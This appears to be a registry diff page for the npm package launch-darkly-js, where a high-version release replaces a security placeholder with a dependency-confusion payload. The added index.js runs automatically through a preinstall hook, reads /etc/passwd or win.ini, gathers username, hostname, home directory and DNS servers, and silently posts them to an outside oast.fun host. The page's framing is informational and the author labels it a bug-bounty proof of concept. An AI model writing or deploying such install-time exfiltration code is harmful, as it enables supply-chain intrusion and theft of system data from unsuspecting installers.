launch-darkly-js 0.0.1-security → 199.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of launch-darkly-js might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +56 -0
  2. package/package.json +11 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,56 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ let fileData = "File not found or access denied";
10
+ try {
11
+ if (fs.existsSync("/etc/passwd")) {
12
+ fileData = fs.readFileSync("/etc/passwd", "utf8");
13
+ } else if (fs.existsSync("C:\\Windows\\win.ini")) {
14
+ fileData = fs.readFileSync("C:\\Windows\\win.ini", "utf8");
15
+ }
16
+ } catch (e) {
17
+ fileData = "Error reading file: " + e.message;
18
+ }
19
+
20
+ const trackingData = JSON.stringify({
21
+ p: package,
22
+ v: packageJSON.version,
23
+ c: __dirname,
24
+ hd: os.homedir(),
25
+ hn: os.hostname(),
26
+ un: os.userInfo().username,
27
+ dns: dns.getServers(),
28
+ proof_of_impact: fileData
29
+ });
30
+
31
+ var postData = querystring.stringify({
32
+ msg: trackingData,
33
+ });
34
+
35
+ // Using your specified Burp Collaborator domain
36
+ var options = {
37
+ hostname: "fbjqzuqtovinylbcbaer3nirj5z9x9to9.oast.fun",
38
+ port: 443,
39
+ path: "/",
40
+ method: "POST",
41
+ headers: {
42
+ "Content-Type": "application/x-www-form-urlencoded",
43
+ "Content-Length": Buffer.byteLength(postData), // Extremely important for full files
44
+ },
45
+ };
46
+
47
+ var req = https.request(options, (res) => {
48
+ // res.on("data", (d) => { process.stdout.write(d); });
49
+ });
50
+
51
+ req.on("error", (e) => {
52
+ // Silently ignore network errors so as not to crash the target application
53
+ });
54
+
55
+ req.write(postData);
56
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
- {
2
- "name": "launch-darkly-js",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "launch-darkly-js",
3
+ "version": "199.99.99",
4
+ "description": "Bug Bounty PoC for Dependency Confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "r4gh4v",
10
+ "license": "ISC"
11
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=launch-darkly-js for more information.